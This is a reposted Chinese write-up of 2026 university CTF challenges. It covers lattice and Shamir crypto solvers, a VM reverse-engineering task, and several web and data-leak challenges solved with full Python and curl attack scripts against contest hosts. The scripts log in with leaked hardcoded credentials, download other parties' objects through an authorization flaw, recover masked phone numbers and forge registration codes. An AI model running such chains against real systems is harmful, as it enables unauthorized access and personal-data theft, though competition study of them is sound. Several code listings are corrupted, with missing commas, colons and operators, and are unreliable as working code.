encode_message() 把 bit 0 编码为 0、bit 1 编码为 Q//2=6144,按系数距离 0 或 6144 解码即可。

3.3 完整解题脚本

#!/usr/bin/env python3
import json
import sys
from pathlib import Path

ROOT = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(r"E:\\Datapayload\\crypto_extracted")

def trim(a, q):
    a = [x % q for x in a]
    while len(a) > 1 and a[-1] == 0:
        a.pop()
    return a

def sub(a, b, q):
    n = max(len(a), len(b))
    return trim([(a[i] if i < len(a) else 0) -
                 (b[i] if i < len(b) else 0for i in range(n)], q)

def mul_poly(a, b, q):
    out = [0] * (len(a) + len(b) - 1)
    for i, x in enumerate(a):
        for j, y in enumerate(b):
            out[i + j] = (out[i + j] + x * y) % q
    return trim(out, q)

def inverse_ring(f, n, q):
    r0, r1 = [1] + [0] * (n - 1) + [1], trim(f, q)
    t0, t1 = [0], [1]
    while r1 != [0]:
        quotient, remainder = [], r0[:]
        inv_lead = pow(r1[-1], -1, q)
        while len(remainder) >= len(r1) and remainder != [0]:
            scale = remainder[-1] * inv_lead % q
            offset = len(remainder) - len(r1)
            while len(quotient) <= offset:
                quotient.append(0)
            quotient[offset] = scale
            for i, value in enumerate(r1):
                remainder[i + offset] = (remainder[i + offset] -
                                          scale * value) % q
            remainder = trim(remainder, q)
        r0, r1 = r1, remainder
        t0, t1 = t1, sub(t0, mul_poly(quotient, t1, q), q)
    if len(r0) != 1 or r0[0] == 0:
        raise ValueError("public factor is not a unit")
    scale = pow(r0[0], -1, q)
    return trim([x * scale for x in t0], q)

def ring_mul(a, b, n, q):
    out = [0] * n
    for i, x in enumerate(a):
        for j, y in enumerate(b):
            k, sign = i + j, 1
            if k >= n:
                k, sign = k - n, -1
            out[k] = (out[k] + sign * x * y) % q
    return out

def main():
    data = json.loads((ROOT / "附件 (1)" / "output.json").read_text())
    n, q, rotation = data["n"], data["q"], data["rotation"]
    factor = data["a"][:]
    factor[rotation] = (factor[rotation] + 1) % q
    secret = ring_mul(inverse_ring(factor, n, q), data["b"], n, q)
    su = ring_mul(secret, data["u"], n, q)
    decoded = [(x - y) % q for x, y in zip(data["v"], su)]
    centered = [x - q if x > q // 2 else x for x in decoded]
    bits = [0 if abs(x) < q // 4 else 1 for x in centered]
    message = bytearray()
    for i in range(0, n, 8):
        value = 0
        for bit in bits[i:i + 8]:
            value = (value << 1) | bit
        message.append(value)
    print(message.rstrip(b"\0").decode())

if __name__ == "__main__":
    main()

运行输出:

flag{noise_is_not_independent}

CRYPTO4. Shamir Secret Sharing:两个错误份额

4.1 题目输入

{
  "threshold"5,
  "max_errors"2,
  "shares": [[4, ...], [5, ...], [6, ...], [3, ...], [2, ...], [1, ...], [7, ...], [8, ...], [9, ...]]
}

实际文件包含完整 prime 和 9 个大整数份额,报告中的省略号只为避免重复粘贴长常数;复现必须使用链接中的原始 JSON。

4.2 核心漏洞/数学弱点

普通 Shamir 插值假设所有 share 正确,但本题明确允许最多 2 个错误 share。任取 5 个点进行拉格朗日插值可能得到错误秘密。

使用 Berlekamp-Welch。设原多项式满足 deg(P)<=4,错误定位多项式满足 deg(E)=2,并令:

Q(x) = P(x)E(x)

对于每个观测点 (xi, yi)

Q(xi) - yi*E(xi) = 0 mod prime

这是关于 E 和 Q 系数的线性方程组。解方程后做多项式长除,得到:

E(x) = x^2 - 7x + 12
     = (x-3)(x-4)

因此错误份额的横坐标为 3 和 4。恢复 P(0),再转成大端字节即可得到 flag。

4.3 完整解题脚本

#!/usr/bin/env python3
import json
import sys
from pathlib import Path

ROOT = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(r"E:\\Datapayload\\crypto_extracted")

def solve_linear(a, b, p):
    m = [row[:] + [value] for row, value in zip(a, b)]
    row, pivots = 0, []
    for col in range(len(a[0])):
        pivot = next((i for i in range(row, len(m)) if m[i][col] % p), None)
        if pivot is None:
            continue
        m[row], m[pivot] = m[pivot], m[row]
        inv = pow(m[row][col] % p, -1, p)
        m[row] = [(x * inv) % p for x in m[row]]
        for i in range(len(m)):
            if i != row and m[i][col] % p:
                factor = m[i][col] % p
                m[i] = [(x - factor * y) % p for x, y in zip(m[i], m[row])]
        pivots.append(col)
        row += 1
    result = [0] * len(a[0])
    for i, col in enumerate(pivots):
        result[col] = m[i][-1]
    return result

def evaluate(poly, x, p):
    value = 0
    for coefficient in reversed(poly):
        value = (value * x + coefficient) % p
    return value

def main():
    data = json.loads((ROOT / "shares" / "shares.json").read_text())
    p = int(data["prime"])
    points = [(int(x), int(y)) for x, y in data["shares"]]
    e, degree = data["max_errors"], data["threshold"] - 1
    qdegree = degree + e
    matrix, values = [], []
    for x, y in points:
        matrix.append([y * x**j for j in range(e)] +
                      [-(x**j) for j in range(qdegree + 1)])
        values.append(-y * x**e)
    solution = solve_linear(matrix, values, p)
    error_poly = solution[:e] + [1]
    quotient, remainder = [0] * (degree + 1), solution[e:]
    for k in range(qdegree, e - 1-1):
        coefficient = remainder[k] * pow(error_poly[-1], -1, p) % p
        quotient[k - e] = coefficient
        for j, value in enumerate(error_poly):
            remainder[k - e + j] = (remainder[k - e + j] - coefficient * value) % p
    bad = [x for x, y in points if evaluate(quotient, x, p) != y]
    secret = quotient[0]
    length = max(1, (secret.bit_length() + 7) // 8)
    print("bad x:", bad)
    print(secret.to_bytes(length, "big").decode())

if __name__ == "__main__":
    main()

运行输出:

bad x: [4, 3]
flag{two_liars_cannot_hide_a_polynomial}

RE1.baby_randomized_vm_001

样本信息:

size:   14440 bytes
sha256: 1AA0E5139B32AEDC647EE520960F4414AE2C5920ED88ADBA088384FEF3E323AF
arch:   ELF64 x86-64, non-PIE

main 要求输入长度为 42。文件偏移 0x2040 开始的 0x1cf 字节是加密 VM,解密公式为:

key(i) = (0xcf + 0x25*i + 11*(i >> 1)) & 0xff
vm[i] = encrypted[i] ^ key(i)

VM 指令包括 LOADXORADDROLCMP、一字节重叠的条件跳转和 SUCCESS。每个链只约束一个输入字节,因此可逆推出候选输入;注意 ROL 的逆运算是 ROR

from pathlib import Path

sample = Path("baby_randomized_vm_001").read_bytes()
encrypted = sample[0x2040:0x2040 + 0x1CF]
code = bytes(x ^ ((0xCF + 0x25*i + 11*(i >> 1)) & 0xFF)
             for i, x in enumerate(encrypted))

def ror8(x, n):
    n &= 7
    return x if n == 0 else ((x >> n) | (x << (8 - n))) & 0xff

values = {}
pc = 0
while code[pc] != 0x6C:
    if code[pc] != 0x4B:
        raise ValueError(f"unexpected block at {pc:#x}")
    idx = code[pc + 1]
    pc += 2
    xor_value = add_value = rotate = None
    while True:
        op, arg = code[pc], code[pc + 1]
        if op == 0x26:
            xor_value = arg
        elif op == 0x1E:
            add_value = arg
        elif op == 0x4F:       # forward operation is ROL
            rotate = arg
        elif op == 0x45:
            value = ror8(arg, rotate)
            value = (value - add_value) & 0xff
            values[idx] = value ^ xor_value
        elif op == 0x21:       # overlapping jump: consume opcode only
            pc += 1
            break
        else:
            raise ValueError(f"unexpected opcode {op:#x}")
        pc += 2

flag = bytes(values[i] for i in range(42))
print(flag.decode())

输出:

flag{8775a086-19c3-423e-b3f8-20a6045b62de}

数据安全

泄露的文件

摘要

目标站点的前端脚本泄露了合作方演示账号。登录后,工作台脚本进一步暴露了对象存储密钥;对象下载接口缺少对象级权限隔离,导致可以下载包含联系人表格的泄露文件。表格 XML 对手机号做了遮蔽,但 XLSX 内嵌截图没有同步脱敏。

解题过程

第 1 步:获取演示账号

访问主页和 /login,发现登录页引用了 /static/login.js。脚本中直接写有:

const DEMO_ACCOUNT = {
  username"partner_demo",
  password"Demo@Xlan2026"
};

这是前端硬编码凭据泄露。使用该账号提交:

curl -c cookies.txt \
  -d 'username=partner_demo&password=Demo%40Xlan2026' \
  http://psdxs.idss-cn.com:27697/login

登录成功后进入合作方工作台。

第 2 步:分析工作台 API 并下载泄露对象

读取 /static/workbench.js

fetch("/api/v2/tasks")
fetch("/api/v2/objects?key=" + STORAGE_KEY)

调用任务接口得到:

{
  "storageKey""xlan-store-key-0314-a7f2"
}

再请求对象列表:

curl -b cookies.txt \
  'http://psdxs.idss-cn.com:27697/api/v2/objects?key=xlan-store-key-0314-a7f2'

列表中筛选 created_on=2026-03-14,得到三个候选对象:

对象
标题
大小
渠道
T-8f3a.bin
台席导出-0314
311013
incident-desk
T-4b1c.bin
前台快照-0314
113302
intake-front
T-6d2e.bin
归档-0314
7130
archive

下载台席导出对象:

curl -b cookies.txt \
  'http://psdxs.idss-cn.com:27697/api/v2/objects/archives/2026/03/T-8f3a.bin?key=xlan-store-key-0314-a7f2' \
  -o leak.zip
unzip -l leak.zip

压缩包内容为:

contacts-0314.xlsx
manifest.json
README.txt

这里存在第二处问题:对象列表和对象下载接口只验证了通用 storageKey,没有将对象权限限制到当前合作方任务。

第 3 步:恢复完整手机号

打开 contacts-0314.xlsx 后,工作表中陈予安有三条记录:

131****6667  2025-11-20  XL-CASE-20251120-0091
139****0847  2026-03-14  XL-CASE-20260314-0771
137****8821  2026-02-03  XL-CASE-20260203-0044

题目要求的是 2026-03-14 的记录,因此目标遮蔽号码是 139****0847

XLSX 本质上是 ZIP 容器。检查 xl/media/ 可发现 table.png

import zipfile

with zipfile.ZipFile("contacts-0314.xlsx"as workbook:
    print(workbook.namelist())
    with workbook.open("xl/media/table.png"as source:
        open("table.png""wb").write(source.read())

截图中的表格是导出前的原始内容,手机号没有同步遮蔽。定位陈予安、登记日期 2026-03-14 的行并放大读取,完整号码为:

13962150847

它与 XML 中的 139****0847 相符,中间四位为 6215

完整自动化流程见。脚本会自动登录、获取对象列表、下载并解出 table.png,最后输入截图中的完整号码并输出 flag。

#!/usr/bin/env python3
import io
import json
import zipfile
from pathlib import Path

import requests


BASE = "http://psdxs.idss-cn.com:27697"
SESSION = requests.Session()


def main():
    login = SESSION.post(
        BASE + "/login",
        data={"username""partner_demo""password""Demo@Xlan2026"},
        timeout=20,
    )
    login.raise_for_status()

    tasks = SESSION.get(BASE + "/api/v2/tasks", timeout=20).json()
    storage_key = tasks["storageKey"]
    objects = SESSION.get(
        BASE + "/api/v2/objects", params={"key": storage_key}, timeout=20
    ).json()["objects"]
    candidates = [
        item for item in objects
        if item["created_on"] == "2026-03-14"
    ]
    target = next(item for item in candidates if item["key"].endswith("T-8f3a.bin"))

    archive = SESSION.get(
        BASE + "/api/v2/objects/" + target["key"],
        params={"key": storage_key},
        timeout=20,
    )
    archive.raise_for_status()
    with zipfile.ZipFile(io.BytesIO(archive.content)) as outer:
        xlsx = outer.read("contacts-0314.xlsx")
        Path("contacts-0314.xlsx").write_bytes(xlsx)

    with zipfile.ZipFile(io.BytesIO(xlsx)) as workbook:
        image = workbook.read("xl/media/table.png")
        Path("table.png").write_bytes(image)

    print("Saved table.png. Locate the row for 陈予安 dated 2026-03-14.")
    phone = input("Enter the 11-digit phone number from the unmasked image: ").strip()
    if not (phone.isdigit() and len(phone) == 11):
        raise ValueError("phone must be exactly 11 digits")
    print(f"flag{{{phone}}}")


if __name__ == "__main__":
    main()

漏洞总结

位置
问题
影响
/static/login.js
前端硬编码演示账号
任意访客可登录合作方工作台
/api/v2/tasks
/api/v2/objects
通用 storageKey 暴露且缺少对象级授权
可枚举并下载不属于当前账号的历史对象
contacts-0314.xlsx
 的 xl/media/table.png
截图未执行同等脱敏
可从图片恢复 XML 中被遮蔽的手机号

Flag(旗标)

flag{13962150847}

调试数据泄漏

摘要

题目提供了一个 Android APK 和账户中心网页。APK 的 assets/debug_config.json 遗留了调试账号密码,且 Manifest 中存在 DebugInfoActivity 调试组件。使用泄露账号登录网页后,可从账户资料中取得目标邮箱。

解题过程

第 1 步:分析 APK 并定位泄露信息

APK 文件为:

C:\Users\34645\Downloads\app-release\app-release.apk

解压 APK 后检查 assets/debug_config.json

{
  "environment""PRODUCTION",
  "webUrl""http://192.168.56.10:8080",
  "apiBaseUrl""http://192.168.56.10:8080/api/v1",
  "testUsername""debug0",
  "testPassword""e145b0f47698b3c4",
  "buildVersion""2026.07-release",
  "debugLogs": [
    "[DEBUG] Audit service connection available",
    "[DEBUG] Temporary audit account enabled",
    "[WARN] Debug component access control is not configured"
  ]
}

DEX 中还能定位到以下应用类:

Lcom/example/tifn/MainActivity;
Lcom/example/debug/DebugInfoActivity;

DebugInfoActivity 会收集并展示应用、构建、网络、存储、系统属性及保存连接信息,属于不应对外暴露的调试组件。

第 2 步:使用泄露账号登录 Web

访问:

http://psdxs.idss-cn.com:27511/

网页前端调用 /api/captcha 获取验证码,再向 /api/login 发送 JSON 请求。验证码图片是 SVG Base64,可以直接解码读取文字。

示例完整脚本如下:

import base64
import json
import re
import requests

BASE = "http://psdxs.idss-cn.com:27511"
USERNAME = "debug0"
PASSWORD = "e145b0f47698b3c4"

s = requests.Session()
captcha = s.get(BASE + "/api/captcha").json()["data"]

# captchaImage 为 data:image/svg+xml;base64,...,SVG 文本节点中直接包含验证码
svg = base64.b64decode(captcha["captchaImage"].split(","1)[1]).decode()
code = re.search(r">([A-Za-z0-9]{5})</text>", svg).group(1)

login = s.post(BASE + "/api/login", json={
    "username": USERNAME,
    "password": PASSWORD,
    "captchaId": captcha["captchaId"],
    "captcha": code,
}).json()

assert login["success"]
email = login["data"]["user"]["email"]
print("flag{" + email + "}")

实际登录返回的用户为 debug0,账户资料中的邮箱为:

ec7b38b79f53c5fd@data.com

firmware-web

第 1 步:下载并定位网页端校验逻辑

固件下载接口为 GET /download/firmware,文件前 0x100 字节是 SEFW 头部,之后为 XZ 压缩的 SquashFS。抽取后的关键文件是 usr/bin/firmware-web,它是保留 Go 函数名的 ELF。

curl -o secureedge-firmware.bin http://psdxs.idss-cn.com:29671/download/firmware
dd if=secureedge-firmware.bin of=firmware.squashfs bs=1 skip=256
unsquashfs -d secureedge-rootfs firmware.squashfs
strings -a secureedge-rootfs/usr/bin/firmware-web | grep -E 'main\.(isRealRegistrationCode|decodeRegistrationCode)'

输出包含:

main.isRealRegistrationCode
main.decodeRegistrationCode

逆向 main.decodeRegistrationCode 可见程序将硬编码内容 2DFDD-D6763-4F14C-74AAF-1F2F4 按字符逆序;main.isRealRegistrationCode 再用 crypto/subtle.ConstantTimeCompare 比较表单输入与该结果。对应函数入口分别为 0x917280 和 0x917180,反转循环位于 0x91731d-0x9173c5,比较调用位于 0x91722f

不要将其与 usr/bin/agentd 混淆。agentd 校验的是设备本地许可 SHA256("SEG-2000|1.4.7|secureedge-lab-license");题目 Web 表单实际使用的是 firmware-web 中的通用注册码逻辑。

第 2 步:利用硬编码通用注册码

这是授权逻辑漏洞,而非加密破解:注册码不与用户名、设备、时间或服务器端授权状态绑定。只要输入该固定值,任何用户名都能通过校验。

项目
内容
漏洞位置
firmware-web
 的 main.decodeRegistrationCode 与 main.isRealRegistrationCode
触发条件
向 /api/authorize 提交任意用户名、正确验证码和固定注册码
成因
客户端可获得的固件内硬编码了全局授权凭据
影响
可为任意用户生成授权码
Payload
registration_code=4F2F1-FAA47-C41F4-3676D-DDFD2
encoded = "2DFDD-D6763-4F14C-74AAF-1F2F4"
registration_code = encoded[::-1]
assert registration_code == "4F2F1-FAA47-C41F4-3676D-DDFD2"

验证码由 GET /api/captcha 返回。读取其 image_data 中显示的 5 位数字后,将同一响应的 captcha_id、用户名 tom、上述注册码和验证码一并提交:

POST /api/authorize
Content-Type: application/json

{
  "username": "tom",
  "registration_code": "4F2F1-FAA47-C41F4-3676D-DDFD2",
  "captcha_id": "<GET /api/captcha 返回的 captcha_id>",
  "captcha_code": "<图片中的五位数字>"
}

成功响应中的 authorization_code 为:

B8061-964CB-90106-F2992-822D5

完整求解脚本

solve_data_distribution_security.py 会完成固件下载、SquashFS 解包、Web 二进制标识校验、注册码还原、验证码图片保存和授权请求。运行前需要将 unsquashfs 放入 PATH

#!/usr/bin/env python3
import base64
import json
import shutil
import subprocess
import sys
from pathlib import Path
from urllib.request import HTTPCookieProcessor, Request, build_opener
from http.cookiejar import CookieJar


BASE_URL = "http://psdxs.idss-cn.com:29671"
FIRMWARE = Path("secureedge-firmware.bin")
ROOTFS = Path("secureedge-rootfs")
WEB_BINARY = ROOTFS / "usr" / "bin" / "firmware-web"
USERNAME = "tom"


def get(opener, path):
    return opener.open(Request(BASE_URL + path), timeout=20).read()


def post_json(opener, path, payload):
    request = Request(
        BASE_URL + path,
        data=json.dumps(payload).encode(),
        headers={"Content-Type""application/json""Accept""application/json"},
        method="POST",
    )
    return json.loads(opener.open(request, timeout=20).read())


def extract_web_binary(opener):
    FIRMWARE.write_bytes(get(opener, "/download/firmware"))
    if FIRMWARE.read_bytes()[:4] != b"SEFW":
        raise RuntimeError("unexpected firmware header")

    squashfs = Path("firmware.squashfs")
    squashfs.write_bytes(FIRMWARE.read_bytes()[0x100:])
    if ROOTFS.exists():
        shutil.rmtree(ROOTFS)
    subprocess.run(["unsquashfs""-d", str(ROOTFS), str(squashfs)], check=True)

    binary = WEB_BINARY.read_bytes()
    if b"main.decodeRegistrationCode" not in binary:
        raise RuntimeError("firmware-web signature not found")


def recover_registration_code():
    # Reconstructed from main.decodeRegistrationCode in firmware-web.
    encoded = "2DFDD-D6763-4F14C-74AAF-1F2F4"
    return encoded[::-1]


def main():
    opener = build_opener(HTTPCookieProcessor(CookieJar()))
    extract_web_binary(opener)
    registration_code = recover_registration_code()
    print("registration code:", registration_code)

    captcha = json.loads(get(opener, "/api/captcha"))
    mime, payload = captcha["image_data"].split(",", 1)
    extension = ".png" if "png" in mime else ".img"
    image_path = Path("captcha" + extension)
    image_path.write_bytes(base64.b64decode(payload))
    print("captcha image written to:", image_path.resolve())
    captcha_code = input("Enter the 5 displayed captcha digits: ").strip()

    response = post_json(
        opener,
        "/api/authorize",
        {
            "username": USERNAME,
            "registration_code": registration_code,
            "captcha_id": captcha["captcha_id"],
            "captcha_code": captcha_code,
        },
    )
    if "authorization_code" not in response:
        raise RuntimeError(response.get("error", response))
    print("flag{%s}" % response["authorization_code"])


if __name__ == "__main__":
    try:
        main()
    except Exception as error:
        print(f"solve failed: {error}", file=sys.stderr)
        sys.exit(1)

脚本提示时人工读取保存的验证码图片并输入其五位数字,最终输出:

flag{B8061-964CB-90106-F2992-822D5}

第一题:数据脱敏校验

规则

每条记录字段顺序为:

CustomerID, FullName, PhoneNumber, Email, IDCardNumber, Nonce, Verification_Hash

丢弃手机号长度不为 11、邮箱不含 @、身份证号码长度不为 18 的行。对剩余行:

字段
处理方式
FullName
保留首字符,其余替换为 *
PhoneNumber
保留前三位与后四位,中间为 ****
Email
用户名长大于 2 时保留首尾字符,中间为 ****;长度不大于 2 时保留首字符再加 ****;域名不变
IDCardNumber
保留前六位与后四位,中间为八个 *

以 FullName-PhoneNumber-Email-IDCardNumber-Nonce 的顺序拼接脱敏值和原始Nonce,使用 UTF-8 编码计算 SHA-256,再与 Verification_Hash 比较。

例如首条有效记录生成:

杨*-138****8788-l****n@example.net-141023********784X-de5031a9fd8c

其 SHA-256 为:

f664bf0bd48922d4976499d7b74ddf33d201bb672de7eafc17919c6dffecece2

完整脚本

保存为 solve_desensitization.py

from hashlib import sha256
from pathlib import Path
from xml.etree import ElementTree as ET
from zipfile import ZipFile

XLSX = Path("unzip_202609052050_data/data.xlsx")
NS = {"x""http://schemas.openxmlformats.org/spreadsheetml/2006/main"}


def read_xlsx(path):
    with ZipFile(path) as archive:
        strings_root = ET.fromstring(archive.read("xl/sharedStrings.xml"))
        strings = ["".join(node.itertext())
                   for node in strings_root.findall("x:si", NS)]
        sheet_root = ET.fromstring(archive.read("xl/worksheets/sheet1.xml"))
    rows = []
    for row in sheet_root.findall(".//x:sheetData/x:row", NS):
        values = []
        for cell in row.findall("x:c", NS):
            value_node = cell.find("x:v", NS)
            value = "" if value_node is None else value_node.text
            if cell.get("t") == "s" and value:
                value = strings[int(value)]
            values.append(value)
        rows.append(values)
    return rows


def mask_name(value):
    return value[:1] + "*" * (len(value) - 1)


def mask_phone(value):
    return value[:3] + "****" + value[-4:]


def mask_email(value):
    local, domain = value.split("@"1)
    return local[0] + "****" + (local[-1if len(local) > 2 else "") + "@" + domain


def mask_id_card(value):
    return value[:6] + "********" + value[-4:]


header, *records = read_xlsx(XLSX)
assert header == ["CustomerID""FullName""PhoneNumber""Email",
                  "IDCardNumber""Nonce""Verification_Hash"]

invalid_ids = []
abnormal = []
for customer_id, full_name, phone, email, id_card, nonce, stored_hash in records:
    if len(phone) != 11 or "@" not in email or len(id_card) != 18:
        invalid_ids.append(customer_id)
        continue
    payload = "-".join([
        mask_name(full_name), mask_phone(phone), mask_email(email),
        mask_id_card(id_card), nonce,
    ])
    expected_hash = sha256(payload.encode("utf-8")).hexdigest()
    if expected_hash != stored_hash:
        abnormal.append((customer_id, expected_hash, stored_hash))

abnormal.sort()
print("总记录数:", len(records))
print("无效记录数:", len(invalid_ids))
print("有效记录数:", len(records) - len(invalid_ids))
print("异常 CustomerID:""_".join(row[0for row in abnormal))
for customer_id, expected, stored in abnormal:
    print(customer_id, "expected=", expected, "stored=", stored)

运行:

python3 solve_desensitization.py

结果:总记录 1000 条,丢弃无效行 31 条,有效行 969 条。异常记录为:

CUS-00183
CUS-00235
CUS-00356
CUS-00893

各异常记录的重新计算摘要:

CustomerID
期望 SHA-256
CUS-001837bcc87af28290a4ad8f6ce2c4e4b6e5021257e2a9c811e6c94d902b41f17f84f
CUS-0023562d6a504445503e7be412fa47d59566ec3f34efdd128ed6abfc33a7703233e05
CUS-00356d2fe7e3fbe2d3af343c6d188382c1eab984bf7832bb1d3ba01557e1bd2fd19c1
CUS-00893fb9613bd738c3fab83ccd8e650cca99b2a3c03928bfc07378fc14a22935e55f2

第一题提交:

flag{CUS-00183_CUS-00235_CUS-00356_CUS-00893}

第二题:数据水印分析

第一问:水印和用户

management_a.sql 中 qinggan_list_65 的一行内容为:

INSERT INTO `qinggan_list_65` VALUES (1310, 1, 151, 198, '测试下载~', ..., '1029');

表面上 note 字段是“测试下载~”,但其第一个不可见字符为 U+200B,即零宽空格。 可用以下命令显示其转义值:

python3 - <<'PY'
from pathlib import Path
for number, line in enumerate(Path("unzip_202609052031_management_a/management_a.sql").read_text().splitlines(), 1):
    if "\u200b" in line:
        print(number, line.encode("unicode_escape").decode())
PY

该下载记录的 dfile 为 1029。查 qinggan_res 可得到该资源的最后一列admin_id=1,查 qinggan_adm 的 ID 1 记录,账号为 admin

第一问提交:

U+200B-admin

第二问:RSA 私钥恢复

私钥在 qinggan_adm.key 字段,是 PKCS#1 DER 的 PEM 编码。ndpq含有用零字节替换的内容,但 CRT 参数 dP 和 dQ 可用。

RSA 参数满足:

dP = d mod (p - 1)
dQ = d mod (q - 1)
e * dP - 1 = kp * (p - 1)
e * dQ - 1 = kq * (q - 1)

本题公钥指数 e=65537。枚举 1 <= k < e,可由可整除的候选直接恢复素数:

prime = (e * residue - 1) / k + 1

恢复出 pq 后,计算:

d = inverse(e, (p - 1) * (q - 1))

题目要求的是十进制私钥指数 d 的小写 MD5。恢复系数为 kp=28614kq=15754

第三问:订单日志校验

目标表为 qinggan_order_logs。正常数据可反推 verification 的规则:

verification = MD5(str(order_id) + str(addtime))

字段直接拼接,无分隔符。例如日志 ID 202 的 order_id=19addtime=1476372011,因此:

MD5("191476372011") = 51c529b7cc5d6c1b498e1754d5902fd3

与表中的摘要一致。逐条重算即可找出未通过校验的日志。

第二题完整脚本

保存为 solve_watermark.py

import base64
import hashlib
import re
from pathlib import Path

SQL = Path("unzip_202609052031_management_a/management_a.sql")


def parse_values(line):
    """解析本题 INSERT VALUES 的普通数值及单引号字符串。"""
    body = line[line.index("VALUES (") + 8:-2]
    values, pos = [], 0
    while pos < len(body):
        if body[pos] == "'":
            pos += 1
            text = []
            while body[pos] != "'":
                if body[pos] == "\\":
                    pos += 1
                text.append(body[pos])
                pos += 1
            pos += 1
            values.append("".join(text))
        else:
            end = body.find(",", pos)
            end = len(body) if end == -1 else end
            values.append(body[pos:end].strip())
            pos = end
        if pos < len(body) and body[pos] == ",":
            pos += 1
        if pos < len(body) and body[pos] == " ":
            pos += 1
    return values


def read_length(data, pos):
    first = data[pos]
    if first < 0x80:
        return first, pos + 1
    width = first & 0x7F
    return int.from_bytes(data[pos + 1:pos + 1 + width], "big"), pos + 1 + width


def read_pkcs1_integers(der):
    assert der[0] == 0x30
    _, pos = read_length(der, 1)
    values = []
    while pos < len(der):
        assert der[pos] == 0x02
        width, start = read_length(der, pos + 1)
        pos = start + width
        values.append(int.from_bytes(der[start:pos], "big"))
    return values


def recover_prime(residue, exponent):
    target = exponent * residue - 1
    for k in range(1, exponent):
        if target % k:
            continue
        candidate = target // k + 1
        if candidate.bit_length() == 1024 and pow(2, candidate - 1, candidate) == 1:
            return candidate, k
    raise RuntimeError("prime recovery failed")


sql = SQL.read_text(encoding="utf-8")
lines = sql.splitlines()

# 水印 -> 资源 ID -> 管理员 ID -> 管理员账号。
watermark_values = parse_values(next(line for line in lines if "\u200b" in line))
watermark = watermark_values[4][0]
resource_id = watermark_values[-1]
resource_values = parse_values(next(
    line for line in lines
    if line.startswith(f"INSERT INTO `qinggan_res` VALUES ({resource_id},")
))
admin_id = resource_values[-1]
admin_values = parse_values(next(
    line for line in lines
    if line.startswith(f"INSERT INTO `qinggan_adm` VALUES ({admin_id},")
))

# PEM -> DER -> PKCS#1 INTEGER 序列。
pem_body = re.search(
    r"-----BEGIN RSA PRIVATE KEY-----\\r\\n(.*?)\\r\\n-----END RSA PRIVATE KEY-----",
    sql,
).group(1)
version, _, e, _, _, _, d_p, d_q, _ = read_pkcs1_integers(base64.b64decode(pem_body))
assert version == 0 and e == 65537
p, kp = recover_prime(d_p, e)
q, kq = recover_prime(d_q, e)
private_d = pow(e, -1, (p - 1) * (q - 1))

# 重算订单日志摘要。
failed_ids = []
for line in lines:
    if not line.startswith("INSERT INTO `qinggan_order_logs` VALUES "):
        continue
    log_id, order_id, _, addtime, _, _, stored, _ = parse_values(line)
    expected = hashlib.md5((order_id + addtime).encode()).hexdigest()
    if expected != stored:
        failed_ids.append(int(log_id))

print("watermark:"f"U+{ord(watermark):04X}")
print("user:", admin_values[1])
print("kp, kq:", kp, kq)
print("private d MD5:", hashlib.md5(str(private_d).encode()).hexdigest())
print("failed IDs:""-".join(map(str, sorted(failed_ids))))

运行:

python3 solve_watermark.py

输出:

watermark: U+200B
user: admin
kp, kq: 28614 15754
private d MD5: 6e7436f7b7cf17661ec5d043ef24f12b
failed IDs: 212-222-227-255-294-301-311

第二题三项提交结果:

U+200B-admin
6e7436f7b7cf17661ec5d043ef24f12b
212-222-227-255-294-301-311

转载声明:本文转载自原发布平台 (作者:玄网安全), 原文标题《第十一届上海市大学生网络安全大赛暨“磐石行动”2026第四届全国高校网络安全攻防》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。